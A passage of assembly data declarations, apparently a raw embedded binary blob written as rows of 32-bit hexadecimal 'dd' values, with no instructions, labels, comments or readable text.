dd 6B610A79h, 11248118h, 2D03703Eh, 41B9CC6Eh, 6E0A3B1h
dd 208DD6F1h, 48F1D94Eh, 2330D404h, 627410BAh, 0AC3B0145h
dd 1C2049Fh, 420687DDh, 8135841Fh, 583E9D80h, 7D0CB816h
dd 994517B8h, 0F59A00EAh, 18C3882Eh, 20C96D2Ch, 0D9EC8300h
dd 0FF2EE94h, 0DBEA0165h, 99BB4060h, 0C300F02Ah, 0A87E5C3Bh
dd 364B043h, 0AD0934A6h, 99A8D3D9h, 0DF01FBCAh, 0CFB89B5Fh
dd 0C3DCEC2Eh, 84D0002Ch, 0C6090145h, 4907FDD3h, 893E9405h
dd 0A15426B0h, 4DFE007Dh, 0A741FB9h, 320097FBh, 0D6E51261h
dd 0F4252082h, 0F8A30377h, 681C39C2h, 0EDD819C8h, 8BECAE02h
dd 0A75207CFh, 87A27890h, 18EA4029h, 32EF00D3h, 48E8D56Bh
dd 41C0A97Fh, 0A35C9B83h, 598F218h, 34AD6DECh, 40ADC75Ah
dd 411379E9h, 0DEBCB554h, 35200404h, 7C8071FBh, 0AB435Ch
dd 75C76708h, 47B6CE01h, 85A86600h, 78E12219h, 9BE300BAh
dd 91FBD9C5h, 4439CEAAh, 0A6F48ED8h, 94BF46B5h, 5641019Ah
dd 0BEE56706h, 6C07C057h, 54426100h, 0DD051B27h, 3CCA0036h
dd 7FA77C68h, 0DE000391h, 1D81D72Eh, 93C49Eh, 0D30265C9h
dd 0EB58069Fh, 4200BCF2h, 9851EE32h, 0F78E02Ch, 0C91B287Fh
dd 0B3235A07h, 67C8609Eh, 2460104Eh, 0CBFE4610h, 0D0BD0341h
dd 77C17486h, 48B49FA0h, 8AB12700h, 0E667558Eh, 0D7893C0Bh
dd 0B8CF16h, 61AAC4FCh, 800FA9A6h, 0A063AF62h, 0A215953Bh
dd 0B0740C88h, 0EFB0F513h, 68BC1F24h, 0CA75FD80h, 1713DF0h
dd 1846E6D7h, 306AF87Bh, 3B00EDB3h, 977EA643h, 0BA675Eh
dd 0E85FD1CBh, 0B049D39Dh, 9A0A1504h, 2080EDA2h, 0BA531h
dd 2CD8C948h, 91521121h, 0ED47207h, 3020C0FFh, 0A57020h
dd 10D0171Eh, 0C9BFA8F4h, 0B5869200h, 5CBDC78Eh, 7130C76h
dd 28E030AEh, 0F2C7149h, 20E88EBCh, 90D83E2h, 0BE9C0CC9h
dd 7F113966h, 0AC1B6200h, 0CE56CD8Ch, 0F1349038h, 356FD0h
dd 244FAF28h, 7F4532ECh, 0CE794902h, 80931DBEh, 0A660FFFBh
dd 1FE201C6h, 2D36F3Bh, 0BC902022h, 85620901h, 8EAF4DCh
dd 1DBBE3ECh, 673DFEh, 0C30B4BAh, 7F0C8872h, 29DE8753h
dd 0ACE50324h, 0C8D83CFDh, 6C13160Fh, 503AC2CBh, 54ACA39Bh
dd 28C1024Eh, 0E66CEF89h, 2E068448h, 8036D4A8h, 57FBA818h
dd 444128h, 0E4B1E8CDh, 0DFA6F1B8h, 0C7471F00h, 1535AB12h
dd 0A8F00572h, 80926E01h, 0F2F63E3h, 7EFA2D00h, 84BF3D40h
dd 420400D3h, 6F22C068h, 5100A523h, 0E94AF615h, 7FEB9Eh
dd 0EED8FB80h, 0A97DE22Ch, 8F33A000h, 3601E4B7h, 70580E56h
dd 0C14003C0h, 0AE75905Dh, 97500700h, 0BE598EECh, 4D9E3CD7h
dd 0C08F1080h, 7C777E6h, 305C440Fh, 6F75A0A7h, 356DDFh
dd 0F65B98CAh, 1745C766h, 0BEFC4EEAh, 8653F001h, 520ABFC3h
dd 1046C34h, 0B9616EF9h, 608A39D6h, 0A200B214h, 680757FCh
dd 0B091F6E6h, 469600BDh, 0D0320154h, 0EA00511Ch, 0B34289Ah
dd 1CE92AF0h, 8311B298h, 8D35FE85h, 3EE0E07Fh, 7C03BD7Ch
dd 0B6190DB5h, 88F7902Eh, 6582004Ah, 23BC8F5Ah, 0F300E2E1h
dd 0F0D347E7h, 0FAC16D6h, 977FBB42h, 0A5A13E40h, 0CE16305Dh
dd 2C40E80Ah, 933B60D9h, 63D077Bh, 50074831h, 7923A425h
dd 0EFBFCF07h, 81539BC2h, 453BA871h, 0D4A03FCh, 0DD990189h
dd 0A3DBC3A8h, 9051EC07h, 2FE06477h, 837B1Eh, 63F16D03h
dd 8DEE3826h, 93181990h, 0F8403E12h, 0A1E10109h, 29CB18D4h
dd 218BDA5h, 7A385E8Bh, 6DB44978h, 0FBA6F8h, 43F165E0h
dd 0F3F79EECh, 0D5073B12h, 0B3A6D00h, 60DE90B0h, 26BB2192h
dd 5B09A386h, 80BD9AFBh, 4EBE49BCh, 0B71D000Fh, 3F1CAA27h
dd 57E83B24h, 0D8D2F41Ch, 83C4CD40h, 0EE1755h, 0F12E35DFh
dd 0FB62369Ch, 4AA3BB00h, 7396EC08h, 33F2001Ah, 343253C9h
dd 7A00599Fh, 0B12579D5h, 0A322A2h, 1CAE367Ch, 0FC2924ECh
dd 79C59D00h, 0B2EEB544h, 11250BE9h, 202EA78h, 6460548Ch
dd 7B0367D2h, 683E6E1Ch, 59FDA858h, 1E5000A9h, 44F541E4h
dd 2FF22617h, 0C6258404h, 0FCD1F67Bh, 0B5D819ECh, 42AB0094h
dd 0E85716AFh, 4D00D392h, 19268F5Bh, 0A0C2212h, 11CADDDh
dd 0AFB240ACh, 7700DC14h, 13D1E2FEh, 0E6C664h, 3E9C409h
dd 8DAEEF1Eh, 0D673AF01h, 5CF97EABh, 7B1F9EE8h, 82A4004Ch
dd 84D8C058h, 0B200E113h, 6ADCFD8Ah, 0C6CC0Ch, 0CD11B892h
dd 0F91A79A0h, 0CED0A3Ah, 68634C8Ah, 90F662h, 7744CC3Eh
dd 0F9706AAAh, 0DDEC6000h, 20E303EDh, 0C4675887h, 0A3B24900h
dd 0D21F8B9h, 3EDF8601h, 9446504Eh, 3D636E4h, 9729A71h
dd 0A188FEA3h, 69009538h, 5E88A56Ch, 2E359802h, 87A0B8FCh
dd 0F011E5A4h, 6D39EBD6h, 48003CB2h, 810EFF1Fh, 14D521h
dd 0DECF2F57h, 30E11D50h, 39496265h, 2EFC78C0h, 7AA0318h
dd 0C97495EFh, 24ED06E9h, 0E1006E60h, 17FD45B6h, 0E8F5470Fh
dd 0F372371Bh, 10B88F20h, 0DD894D2Ah, 70E8E0h, 0AE491597h
dd 0FFB9D6ACh, 362AD500h, 370F76F9h, 66C1696h, 7273058Ch
dd 0DF9E805Dh, 0AD7F38D6h, 4840E630h, 0C4ECFC36h, 0A1BE1E89h
dd 9B5E014h, 5F3E7400h, 76B40CD4h, 4188A9BCh, 46E53887h
dd 274C5CBh, 37AB3F0Ch, 0A6AA00C8h, 0D264DC02h, 9049DBC6h
dd 0D02720h, 881DB00Eh
dd 9EE73675h, 0F2B67203h, 0D8FABB10h, 0B82A78h, 44D3E9FBh
dd 2040CCF0h, 24AC7F1Eh, 82FEEA80h, 706BC23h, 963D9E29h
dd 6CF8404Ah, 0AC00E433h, 17FB3941h, 1856E48h, 0D661C06Dh
dd 0C10A8187h, 0D11CDCEEh, 8627FB00h, 22E0E18Ah, 96FF0093h
dd 32A7831Ah, 8D00986Ah, 821573BCh, 6F145BEh, 9A7FB03Eh
dd 0C372C9BBh, 0C9127D00h, 0B3A2B44Fh, 9B1D18F1h, 0FD8821C1h
dd 95711102h, 0E017DE0Ch, 6AD7E7Bh, 0C2F56C98h, 221528ACh
dd 38C0DD28h, 920D00EFh, 72594B7Ch, 8F3C38C8h, 0BCD1AB80h
dd 36A9DF76h, 7A706361h, 0C62F793Bh, 0C00071E7h, 7D7292DAh
dd 2A036Ch, 5FDC028Ch, 3A4243C4h, 0E0785CA0h, 0E5E6F58h
dd 0E0D2046Bh, 41183879h, 85B400E1h, 0EB817AFAh, 0F40E6C2Ah
dd 60BBA2E4h, 911C5147h, 702B003Ah, 43BC53E5h, 79E8B3B6h
dd 1D353103h, 0A0A3AE7Dh, 9672B8DAh, 0D0BD0964h, 0B30A64C0h
dd 6649C101h, 9CA1D880h, 73E04DE4h, 0EC5800E4h, 642A6D0Eh
dd 0CF00E919h, 860BAF7Eh, 268EBA3Dh, 3879F007h, 82B68C00h
dd 5A6C854Fh, 0C2600D72h, 0F0347F20h, 0A4BD0084h, 0AF7C27ECh
dd 2E01E98Ah, 972271FEh, 5884D9CEh, 83856C28h, 9DBBEE60h
dd 7C1C609Fh, 0AB01EAAAh, 5B44EB6h, 0CFF44749h, 85D13CD2h
dd 0C22096A9h, 5308FBDh, 26B50DF3h, 0C830F5CEh, 0E0004453h
dd 82A68727h, 0E8A31730h, 0E121C0CCh, 0C7F8443Bh, 81621638h
dd 0D8E3E71Ch, 39E049B0h, 99B1062Ah, 0D8FB37C5h, 8360308Dh
dd 0B1B491h, 0D86B8EDEh, 0F6CB9AC2h, 5198B4A3h, 7AF41D03h
dd 0A4313890h, 0FBA27ABEh, 0FEC46B30h, 27B398Bh, 0DFA80A7Dh
dd 6906E61h, 0A896CA65h, 0D9AA5C12h, 5A9AA003h, 0E058FE9Fh
dd 0A8A074CAh, 0F5ED949Ch, 64EF6500h, 0C5B2E0A0h, 4838408Bh
dd 9C4C30D6h, 0D700FC1h, 28C37230h, 0F928602h, 53AF37D8h
dd 0F6C27F80h, 0AE18CCE1h, 0CF79E73Ch, 9A09001Eh, 0F732C9B0h
dd 0E33A0203h, 0AE6072F9h, 9A110820h, 89E8004Dh, 95C57D1Fh
dd 7C061BC3h, 82B1C7B0h, 0A1D075E0h, 3D18BFB8h, 28B64404h
dd 0D732A317h, 4485EF20h, 16510029h, 9426361Bh, 50C64AC1h
dd 20E8BE86h, 84807F24h, 8A1D5859h, 0CB0F01ABh, 0CF11C46Eh
dd 0FE166300h, 80908DD4h, 0F7085300h, 624CA266h, 6D8E8D6h
dd 0E22363E1h, 6D1F5004h, 94284D75h, 1B30A900h, 5799DE6Bh
dd 59ACA95Ch, 60CDE0D0h, 0B9EF8103h, 7A03808Eh, 62DAC30Ah
dd 0EE083042h, 8E31A231h, 7BB6500h, 28FDA03Bh, 4D4B2E83h
dd 991C0C6Ch, 4A027690h, 86468744h, 81C0A015h, 0AAA39C54h
dd 1C048058h, 0C6FA2464h, 697A41E1h, 1B05EFF0h, 0A26701C4h
dd 48442C82h, 8B9AF120h, 84086EA1h, 48BDFAB9h, 0F369F490h
dd 0E18126E2h, 1F5F00F7h, 0AECD0792h, 80086849h, 0C9AC9A15h
dd 20608C12h, 99FD0421h, 74E856h, 83B39B35h, 0CC75790Ah
dd 2F6881FBh, 5F73BE06h, 3D9D7C8h, 2FFB323h, 0A050D878h
dd 48CB414h, 27DF443Ch, 24D5627Fh, 5923020Eh, 0FC17409Bh
dd 1662071Ch, 0D3E13401h, 0F1B6579Ah, 0A963DA31h, 0DCE410BBh
dd 0D98002Ah, 0BC5C9AE2h, 22C9F2Fh, 0A00074C6h, 34D38E4Ch
dd 8D831946h, 26A838B0h, 0A4A2208h, 7382874Fh, 0AECF62E0h
dd 6711A80Ah, 0AD9A0C80h, 4BF1FAC9h, 140500A0h, 0AEEF1F9Ah
dd 2FB81C88h, 0C992C11Ch, 4006A84Bh, 16580ECh, 33F0374Ch
dd 596E0BEh, 9C75FC89h, 88B403D7h, 1802E26Ah, 8731CF50h
dd 161848DAh, 318EEAAh, 0A322BE70h, 830C673h, 923321FEh
dd 391B0087h, 45FD520Eh, 0C0097D18h, 97BC1C7h, 0B01801C0h
dd 704B4DF3h, 30AEF384h, 0FC23EDA9h, 0A28F0052h, 0AA351041h
dd 1026803h, 0C53D518Eh, 90BC866Eh, 0E368DD59h, 0C9481818h
dd 0A4F952DAh, 0B4E041C0h, 5F024ECCh, 8F4A4912h, 250C4257h
dd 2C4840D0h, 9A0AC339h, 0F72AC9F0h, 0C1EC6086h, 49A123Bh
dd 0EB45A200h, 0A5A3D64Fh, 0D3C524FFh, 0D22F8048h, 0EE36FEDAh
dd 2A2CB44Ch, 6805C4C6h, 14409E04h, 490AD006h, 0EC1A3890h
dd 41F7C618h, 6E7EDAB7h, 58D24Ch, 67E936FFh, 910B2463h
dd 447B08F8h, 4869948Ch, 0BE5728A3h, 0F2372EA0h, 45502816h
dd 95F830FFh, 11C1BCF6h, 0B1BED9Ah, 12AB8881h, 0C94C100Fh
dd 0CB34309Dh, 0CF74534Ch, 0DDC01014h, 0AA7A548Dh, 0C6EB448Ch
dd 5F8EB500h, 0BD5632A6h, 0E2DFE2C7h, 0B16D60D9h, 2635BEB0h
dd 0FA202807h, 0D1C0B7F5h, 6A778AEEh, 1158E1D8h, 0E2B08EABh
dd 314E700Ah, 0B82910FBh, 1470087h, 93923A03h, 4C37BD7Bh
dd 0ECD6E02Ah, 14010029h, 0FB71BB45h, 3F60F4BDh, 0C831620h
dd 5FC5036Bh, 0FAA2C963h, 0CAFDF810h, 3D8DDCC0h, 0F099B27Ah
dd 8EB4A1C1h, 9210F4h, 77263923h, 0C0204805h, 38DB6500h
dd 36B41BE6h, 363C60B2h, 1E806AEDh, 0FA777C00h, 0DA32A8B6h
dd 0AF092C86h, 5A10003Ch, 0C044D998h, 973FE93Eh, 1EFBAE4Eh
dd 957DC3E5h, 40063EA1h, 0BA29C41Ch, 159858h, 5805D04Eh
dd 0FEB43B43h, 0AFD6B012h, 0C0857408h, 0C9AB9A16h, 0FA220A46h
dd 99FE0700h, 66A787B9h, 1B3031Bh, 0A6BD55B6h, 6D8C1A4h
dd 0D8880FF3h, 0C05BE2C2h, 9016C61h, 0D92E15C4h, 844A7805h
dd 9E88D26Eh, 7C44C08Ah, 1C00EC46h, 0D908E686h, 0CC068539h
dd 0D365756Ah, 81742468h, 69AC009Ch, 0A855AF18h, 0F11A713h
dd 3EC27000h, 6E417C28h, 0BEA0101Bh, 9E375176h, 37759F25h
dd 703D8498h, 0E3254447h, 1120426Ah, 26818FC6h, 1509B4h
dd 6097C5E2h, 72019010h, 6E24EF3Ch, 465EAC4Dh, 0DC2800FEh
dd 3834539Fh, 206E49E7h, 6AF81E72h, 0F8E0706h, 8A08E01Dh
dd 880E43B9h, 80EF5918h, 0BCBD7C3Bh, 3088C113h, 21DC46B3h
dd 89B4C030h, 3660B100h, 5861744Eh, 83010087h, 75700EFDh
dd 0D4A0DE11h, 382423EAh, 530308EEh, 0D0306E7Ch, 1936B21h
dd 3A546216h, 200BFDB7h, 0BF051A50h, 51F7CD30h, 0ED7C82C0h
dd 810D60CFh, 98D0B225h, 0EF658606h, 4C888596h, 100D0A9h
dd 67BDC57Ah, 0DA0274F2h, 7D942682h, 62A8816Fh, 0A072B050h
dd 20E9571Dh, 8D0251F8h, 88480D5Bh, 119CA015h, 17F839Ah
dd 0A9F9F309h, 0E838CE3Ah, 0A803EC0Dh, 4CCBF676h, 2F510051h
dd 26B914E2h, 50009A5Ch, 0C639E819h, 8EDDCBh, 7B51575h
dd 9331ED6Fh, 0F37E8000h, 0FBEA196Dh, 75E6037Fh, 784808BAh
dd 0D0656CE0h, 41D72C00h, 0A2865B69h, 3C73E83Ch, 5E0C9FE6h
dd 9511757Eh, 2A129C0Bh, 0E52481EBh, 898E2A2h, 4A82126h
dd 0B85120Eh, 3A5C06B8h, 0CFC41C60h, 0AD134690h, 701A2871h
dd 3886FC9h, 90723184h, 0C330984h, 76358AEBh, 7900BF50h
dd 0DCDA83B3h, 0C9A5C2h, 84E4C652h, 22BDD22Dh, 638AD500h
dd 14ADCC4h, 0B0760CA1h, 86B1E58Bh, 0B8608D03h, 91BF6FB3h
dd 898B79Bh, 652561AEh, 3A5D6007h, 2DB12B4Bh, 75DD50C8h
dd 0A8BA6FE1h, 4C460780h, 10A0E4E5h, 0C09ABD01h, 0ADAE5850h
dd 5F44E0h, 4FD40455h, 3D8A5A51h, 61C08972h, 2DA3C410h
dd 37A7329h, 0D498211Fh, 6899A2CCh, 0E361E04Bh, 65E70905h
dd 88437033h, 0E034F1D3h, 318A62ECh, 1A09F49Fh, 0B32080E7h
dd 6C2C3576h, 0F60B7EE3h, 0F3D600A7h, 60EB3A33h, 0FD01E9CEh
dd 0A01EEA73h, 0E058635Bh, 0EF123FE3h, 1911E123h, 3EDB52Ch
dd 511F7193h, 4FFD9107h, 4AD6CBCCh, 25D4650h, 0EB4D129Dh
dd 0AB7A1CD1h, 0D5F2121Ch
dd 75CBF844h, 0F0BA0891h, 303DFCF0h, 2687449h, 3100FE41h
dd 0AA224240h, 70F18BBh, 0A3F4B564h, 0A284103Ch, 58DD5AF9h
dd 2E6C4F40h, 3ECCBC3Bh, 0A8503ED2h, 6A1C17F5h, 85720F53h
dd 7CDB6960h, 0F6347113h, 0B808D1D8h, 352AC066h, 7A43EC9Eh
dd 3577B080h, 5200C01Dh, 0B5E567EDh, 4CB4CBD1h, 7831D71Bh
dd 502B8B49h, 742A31FCh, 0F4FB3F0Eh, 0A2BA6092h, 9D9237Ch
dd 0FA80A59Eh, 40738004h, 69AF53B5h, 39C090D4h, 76122BA0h
dd 306467B2h, 7FB35A60h, 0FC0F458Ch, 0E8006093h, 0FF95BCC1h
dd 5D63DEEh, 1CF4E624h, 23282E6Eh, 338E00B1h, 0C0844296h
dd 6AE86954h, 2234CE0Eh, 0CCF4FEh, 0BD9293A6h, 5208F672h
dd 8C7AB0E7h, 0CA354E04h, 19625AECh, 356BB421h, 6A1ADC8h
dd 0A911177h, 1A6080DDh, 80C00868h, 0A0F0A18Dh, 140BAABh
dd 0EB50129Eh, 884D1899h, 120006B6h, 26B8D8DBh, 13FC70FBh
dd 3F74CED9h, 4C2370h, 1D456E62h, 0D2288494h, 11A0E0F2h
dd 3C78693Fh, 0BDC8B309h, 0C040006Eh, 904E0F58h, 70FB647Ch
dd 129960C1h, 0B1EB2151h, 1201B7C1h, 172C5FE8h, 0FE82E0D1h
dd 0ED0A800h, 368DFB8h, 63E208CEh, 79B06CEEh, 1C050120h
dd 5280F645h, 0FCCAA000h, 7F34E2h, 292B694Bh, 0AC9F2A66h
dd 0CD70977Dh, 408CD230h, 6082C0BFh, 465858B3h, 76014C65h
dd 1DDD4322h, 88FC71D2h, 4B7C12ABh, 7ADC4037h, 10504EAh
dd 0BF23EF00h, 0B49C8DAFh, 0BE0D0FBBh, 20D24C13h, 0D5BF533Ch
dd 28CE850h, 0D0A5EA3Ah, 85E29124h, 0AE27FB00h, 767BFCD7h
dd 6ABF0169h, 51C8BD59h, 22388377h, 7C705833h, 0FDA81050h
dd 0B6B30980h, 5D600034h, 926ADD19h, 831A24B0h, 87808044h
dd 928E14C5h, 802D823Bh, 0F5B69010h, 9C860C6h, 5736D7EAh
dd 55DD3400h, 0AF30B7E9h, 4DA31092h, 0AD6C07D4h, 8013F4D6h
dd 3E96A26Fh, 12C15560h, 28CB70Eh, 0B0B3878Fh, 0E840CE4Dh
dd 0DB01F49Ch, 0CAA240EAh, 0CC302EDCh, 13CB0A3h, 0D27D16D8h
dd 0F0B5787Eh, 933D9E70h, 10584C3Ch, 0CC06E723h, 88C4A06Ah
dd 0D9C091E4h, 4140D6E4h, 0F4D200FCh, 86A2B180h, 9600DC4Bh
dd 70A50149h, 7C6D10h, 0C9054D26h, 0F6942185h, 2BA6821Fh
dd 6312800h, 79062EFh, 8BA46B79h, 0E1800EA7h, 0A27E9983h
dd 86522201h, 0B66A7B85h, 4C1008A0h, 553AC3A7h, 0D3C66700h
dd 62C4233h, 6A259315h, 1AB828h, 2EED0B87h, 0A854D16Ah
dd 8B6BD300h, 0A66166FAh, 0CC2319DCh, 0E8D170C7h, 9A017AFBh
dd 0D8657969h, 789184A4h, 0C1CB8F94h, 88CE5297h, 0AA88D40Ch
dd 0AF6500D3h, 0F321F26Bh, 8213EB77h, 0CC007EFAh, 260D23E7h
dd 30B96079h, 86BD3EACh, 283518C0h, 373CD2AAh, 562184A6h
dd 1D3859CBh, 45490798h, 1F76DE90h, 91A0C8A9h, 9865CCC0h
dd 5098D152h, 7900B522h, 0F55A65D4h, 75423Bh, 40C7286Dh
dd 0D9E11959h, 2B809860h, 14DE83A3h, 0C0283B3Dh, 0CAC09788h
dd 46529665h, 0D422E6h, 98A232C3h, 6D0C6C78h, 0E3DD101h
dd 10F13E82h, 0E17AF080h, 0B0A11780h, 0A21910C5h, 0F12DCAC0h
dd 2607009Ch, 57819B70h, 9500F08Bh, 7B305A2Eh, 3EE52FDh
dd 687060B3h, 54A899B7h, 8A00B113h, 0C04208E1h, 0C30AB8h
dd 0F126ED5Eh, 2EF36A6Fh, 0AC2B9100h, 5AA396F8h, 393EC1Bh
dd 0A49E9A4Dh, 8BE0F611h, 20DE7142h, 0CE958D07h, 7031ACh
dd 47F4E181h, 0BEEEA267h, 7F0E1A07h, 0B9B08FA0h, 0F92D0Ch
dd 0B202A477h, 0D48A315Fh, 1D942C00h, 3A59DC03h, 4E7300DFh
dd 0BF0D343Fh, 53EEBC7Ah, 0C0148952h, 0E440B942h, 771114B1h
dd 32E02881h, 4800C7E9h, 0D41FC282h, 0A6C151Ah, 0D132B41h
dd 0A7F300CBh, 4DBCC998h, 14814C29h, 0A7477E3h, 6A4A1070h
dd 78897074h, 0EA078178h, 14DAE13Eh, 0FDAA07AFh, 855374E0h
dd 7970140Eh, 2FE034C1h, 0B10DFF1Ch, 70D98CE8h, 5982018h
dd 0F8A7E989h, 6944383Fh, 1DFF509h, 0E05A889Fh, 41B2E502h
dd 0D9DC43A0h, 0F8202A67h, 63B07F0h, 0E7173628h, 0F5883371h
dd 0FACE3018h, 7DAA308h, 37B8B346h, 221250DCh, 0CE304EB1h
dd 0EF7E2111h, 4A310769h, 0A0022Fh, 0B9E92B73h, 0AF602400h
dd 0D0D6751Ah, 8830C17Fh, 2197265Ah, 2B37EC24h, 9F23620Ch
dd 20179AEh, 3DD46395h, 0A2C17E21h, 7B698116h, 3F8069EDh
dd 3DA50BC8h, 9306B708h, 5092F1ECh, 1E34F600h, 0DD0BC53Eh
dd 7AC004Ch, 4A5575AAh, 0A500BB76h, 7709DA74h, 7E8C46CBh
dd 0C07D3825h, 458EFA00h, 5CC520D8h, 2392EE00h, 0E90BAF9Ah
dd 0A89750A8h, 731931EFh, 80ADB369h, 5D2CF3B1h, 18ABBE9Ah
dd 198EB427h, 337118DEh, 99E88400h, 6665FC90h, 0B9CF00D8h
dd 776D4F79h, 0BCF83512h, 0D8A8EF7Dh, 6B00965Ch, 4509F6E5h
dd 3CE3A650h, 725F04h, 60A488C9h, 7DC7B407h, 7E0210C5h
dd 5FFC042Bh, 104F6530h, 17D5DAh, 9237B19h, 487E5660h
dd 0E2A49C00h, 6A345FDCh, 0F3511F25h, 0F529B22Bh, 4DAB310h
dd 0E85FDD0Ch, 1BE74477h, 68476148h, 789C88C8h, 1BDC7784h
dd 44C2CD04h, 5048F22Ch, 1043DB43h, 3635951h, 6E226FC8h
dd 69E0DF8Ch, 0D527E1h, 6D2DE49h, 818A831Dh, 77AEAF00h
dd 2F9CF60Bh, 949900FDh, 0D3BB0C57h, 3700EDDEh, 0B6A0A185h
dd 645D8Eh, 3F8A5363h, 0B01CD765h, 0EF75DE00h, 0D6B4FAA4h
dd 36C000E5h, 170C0E96h, 0F2000F22h, 15316F90h, 25B20Ah
dd 0B9D07F27h, 0E1AB0116h, 56BD4C0h, 95131Dh, 0EC29F4DDh
dd 0E98581DCh, 774F1B16h, 16CDCF00h, 0ABF8EB2h, 9E2BC2B9h
dd 0EB2380D4h, 9782DEEFh, 6D53431Ch, 0A4DAAA80h, 168092h
dd 1DA8233Dh, 85ABDC64h, 9DFF1000h, 0C0AD9B0Ah, 40EB028Ch
dd 0BEB92D87h, 0A54BFCA0h, 0DF0F8FF9h, 0C0D4CE23h, 7FEEFB45h
dd 3739850h, 56AED1EDh, 7AF0B8B1h, 0A006204h, 953F14D2h
dd 0F95EBDh, 0AB71C8E9h, 107EE521h, 54B39C00h, 4BFFEC34h
dd 176C30C7h, 7C0AF702h, 0B36F2B1Ch, 603A43CCh, 968A0034h
dd 3B268DECh, 9E00BB44h, 1733C452h, 266307F5h, 8EB25Eh
dd 98B48447h, 0EA002692h, 67A1E9F8h, 0DA7D2Ch, 344CA3A9h
dd 6FBCECFDh, 0EADEEE02h, 6099F8A0h, 20F14Ch, 48266645h
dd 0AC2A1A95h, 23C5F00Eh, 8E1600C9h, 39DC6106h, 0C11F6E05h
dd 2A070062h, 0F527DB10h, 0B9E5F70Eh, 9B6DE03Ch, 462193h
dd 990BDF86h, 4F70F14Dh, 38E64Ch, 0B5FBE81Dh, 0E484F0h
dd 0D04A16A2h, 0A3B89A5Ah, 23614D03h, 0B35BC7BDh, 0F5038890h
dd 4B88007Eh, 92E0275Ch, 6600041Ah, 0C857FBD5h, 7434E4ECh
dd 696E000Bh, 50803162h, 0B10075B7h, 0F8A6B378h, 7809DD5Ah
dd 9D5D004Ch, 3F33F12Bh, 0ECE6D827h, 4E7ABA74h, 963D600h
dd 2CDC8995h, 0C3941D90h, 0AAD940A9h, 0E77F33F4h, 7D98590Eh
dd 0A0003103h, 81B162D3h, 0D8A0C15Ch, 9404BB46h, 0C60E150Bh
dd 92775D80h, 0C47900B2h, 50C1FD6Eh, 32005980h, 0A2B036F9h
dd 0C33758h, 3E5E8166h, 61D2F841h, 0A3651200h, 0FC6FE16Ch
dd 4F920B9Ah, 0A880A640h, 79A7C8E3h, 81250709h, 6C740018h
dd 3CD1A1CCh, 0CB001E3Bh, 0B43F22EAh, 631FF2F7h, 8CC02CF6h
dd 0CA2D2470h, 97160950h, 3800CC4Ch, 0DAEEE447h, 77B0151Dh
dd 3FC059DDh, 0EC5FF1F4h, 0E56C1D79h, 173EC561h, 1016C0D4h
dd 0E1004F0Bh, 7526D8AEh, 48F87BF3h, 380228B7h, 79677AB9h
dd 0FF09C63h, 800BD26h
dd 4C2ADC5Dh, 83C5A4h, 549B20B0h, 0AED4CB79h, 88757300h
dd 0B6CCF948h, 417E30h, 32AAB15Fh, 9E0FADFCh, 4701005h
dd 0F80235EDh, 166A2266h, 1273D400h, 4A40E326h, 0D49287h
dd 2B61E2Bh, 0C33B1B5Eh, 5D2FC8F3h, 1A7F9F00h, 0F8BD37DEh
dd 80470085h, 0C29C5851h, 0EC0040BEh, 1CC4E04Fh, 8C5BF2h
dd 2ABCB4DEh, 0B8D451FBh, 97E2C213h, 76464047h, 48F89DA6h
dd 38803C48h, 9A03F04Bh, 1160B3Eh, 0EC26F204h, 20D864BDh
dd 632306EBh, 60B8A5C6h, 0A0583A07h, 0A01F3DA3h, 9302C803h
dd 0FE7F00ADh, 0EB8FF741h, 9F00C970h, 299C3607h, 1CA28951h
dd 4085F0DAh, 0DE1B2DD8h, 7401CDACh, 0F1E003FCh, 0C9EF67E2h
dd 34C001EFh, 4118306Ch, 4432F311h, 3EB1A00h, 0CA811C72h
dd 0CC6D00F8h, 2ED0FF8Dh, 0ED00E8ACh, 43AB3DB1h, 8F3449h
dd 0F007B6F7h, 0DD1BC101h, 94ECAF2Eh, 0EFC2EA00h, 724218FBh
dd 14F0092h, 9CE7254Ch, 5D0098F1h, 91DE4E84h, 746338C1h
dd 0CC1D3CCDh, 8524BE80h, 1FA48EEh, 70116800h, 17567781h
dd 0A7F3004Dh, 0E32A05DDh, 0C0762C4h, 0A891CB59h, 8794EF33h
dd 0C899A583h, 986B9Bh, 0FDCE93FCh, 5BDC9D05h, 42595600h
dd 669EE273h, 53783A51h, 7C04B687h, 47C9E385h, 0C5DC6BC8h
dd 7DED2500h, 5F7E217h, 5BEE0070h, 97C9B478h, 0CE004FE3h
dd 56DDDBF0h, 0EB675h, 55E01671h, 0C9396A72h, 4EAACF00h
dd 286436Bh, 68770363h, 0AEBC924Bh, 72D108C8h, 0ACE27A00h
dd 2E17255Bh, 0AFB7013Bh, 94FF0F44h, 6A6660C1h, 5C00D073h
dd 0A75046E8h, 0BD38C4h, 1F9491DAh, 35229C92h, 0B5052E09h
dd 0D0DB00D6h, 3F3A2D14h, 8AA41E37h, 7E80004Ch, 3B08D4FBh
dd 705CBA00h, 0F4402663h, 9F4607D7h, 7155325Fh, 40A9DB1Eh
dd 0DE3513DBh, 10BB6C00h, 0EF7CE05h, 9F510082h, 76900222h
dd 0C300D463h, 0D7FDE354h, 70424F73h, 0D2AE1C18h, 7706C86h
dd 11E291CCh, 0D89A437Eh, 9B001995h, 4EAFAEB3h, 14D5979h
dd 526B45FFh, 303A4933h, 0D8F7FA64h, 0D200C081h, 0B41E1B74h
dd 0F4E7BAC4h, 994C0055h, 11BDCC4Ah, 88007D92h, 0E2D42C7Ch
dd 0FC1A211Eh, 0E8D1267Fh, 0D9B003Bh, 88E516CEh, 0A571E200h
dd 43606459h, 5FBB009Dh, 0B19EB44Ch, 14003A0Ch, 7DB58603h
dd 70A92BF0h, 0F5100071h, 0D69BE73Fh, 3600FF77h, 0C904DF2Fh
dd 1550AE2h, 3BC5AD4Eh, 0CC03988Bh, 0CD00B31Dh, 0F9468540h
dd 0FC22C6h, 0E22EB2A1h, 4E5133BCh, 3A028E03h, 0A887B90Fh
dd 0EA547B47h, 0A7380096h, 7C454A22h, 1400E329h, 620AD1E5h
dd 0A4B347h, 197A3DC1h, 18E8F5Ch, 0D0379500h, 18BE6C2Bh
dd 0ACCC2EC3h, 1C3009B6h, 0B1D60C00h, 0C082066Ah, 17982CC4h
dd 7406842h, 0A49367D4h, 0DF8CC0AEh, 77005E08h, 7274B182h
dd 5FFC926h, 0D348AA51h, 4F34C09Eh, 58C0235Bh, 0AB5964D5h
dd 0F58A13C7h, 832F0015h, 3FEB572Eh, 18D64D00h, 3ED4F76Fh
dd 0DE7B00D5h, 73C00F85h, 3900324Bh, 245DB269h, 0CDF425h
dd 0F2F5010Ch, 0A7BA11F1h, 0ADDE2C00h, 5CB1E488h, 3FBE429h
